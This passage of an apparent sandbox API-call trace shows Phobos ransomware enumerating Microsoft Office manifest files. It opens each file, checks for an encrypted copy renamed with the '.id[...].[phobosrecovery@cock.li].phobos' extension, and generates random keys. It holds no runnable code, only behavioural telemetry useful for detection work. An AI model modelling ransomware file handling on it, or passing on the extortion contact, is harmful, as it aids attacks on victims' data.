office\\root\\integration\\c2rmanifest.officemuiset.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemuiset.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.447] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.449] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=97084) returned 1 [0155.449] CloseHandle (hObject=0x528) returned 1 [0155.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml")) returned 0x220 [0155.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.449] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenotemui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.450] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=19018) returned 1 [0155.450] CloseHandle (hObject=0x528) returned 1 [0155.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenotemui.msi.16.en-us.xml")) returned 0x220 [0155.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenotemui.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenotemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.450] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.451] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1526) returned 1 [0155.451] CloseHandle (hObject=0x528) returned 1 [0155.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml")) returned 0x220 [0155.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.452] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.452] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11048) returned 1 [0155.453] CloseHandle (hObject=0x528) returned 1 [0155.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmmui.msi.16.en-us.xml")) returned 0x220 [0155.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmmui.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.453] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.454] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2310) returned 1 [0155.454] CloseHandle (hObject=0x528) returned 1 [0155.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml")) returned 0x220 [0155.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.454] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.455] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11146) returned 1 [0155.455] CloseHandle (hObject=0x528) returned 1 [0155.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmuxmui.msi.16.en-us.xml")) returned 0x220 [0155.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmuxmui.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.455] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.456] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=94612) returned 1 [0155.456] CloseHandle (hObject=0x528) returned 1 [0155.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml")) returned 0x220 [0155.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.456] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlookmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.457] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=96644) returned 1 [0155.457] CloseHandle (hObject=0x528) returned 1 [0155.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlookmui.msi.16.en-us.xml")) returned 0x220 [0155.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlookmui.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlookmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.458] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.458] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=720348) returned 1 [0155.458] CloseHandle (hObject=0x528) returned 1 [0155.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml")) returned 0x220 [0155.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.459] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.459] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=103844) returned 1 [0155.459] CloseHandle (hObject=0x528) returned 1 [0155.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml")) returned 0x220 [0155.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.460] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.460] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=26782) returned 1 [0155.460] CloseHandle (hObject=0x528) returned 1 [0155.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpointmui.msi.16.en-us.xml")) returned 0x220 [0155.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpointmui.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.461] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.462] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=29766) returned 1 [0155.462] CloseHandle (hObject=0x528) returned 1 [0155.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.project.project.x-none.msi.16.x-none.xml")) returned 0x220 [0155.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.project.project.x-none.msi.16.x-none.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.462] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.projectmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.463] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32926) returned 1 [0155.463] CloseHandle (hObject=0x528) returned 1 [0155.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.projectmui.msi.16.en-us.xml")) returned 0x220 [0155.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.projectmui.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.projectmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.464] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.465] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=25518) returned 1 [0155.465] CloseHandle (hObject=0x528) returned 1 [0155.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.en-us.xml")) returned 0x220 [0155.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.465] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.es-es.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.466] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=24558) returned 1 [0155.466] CloseHandle (hObject=0x528) returned 1 [0155.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.es-es.xml")) returned 0x220 [0155.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.es-es.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 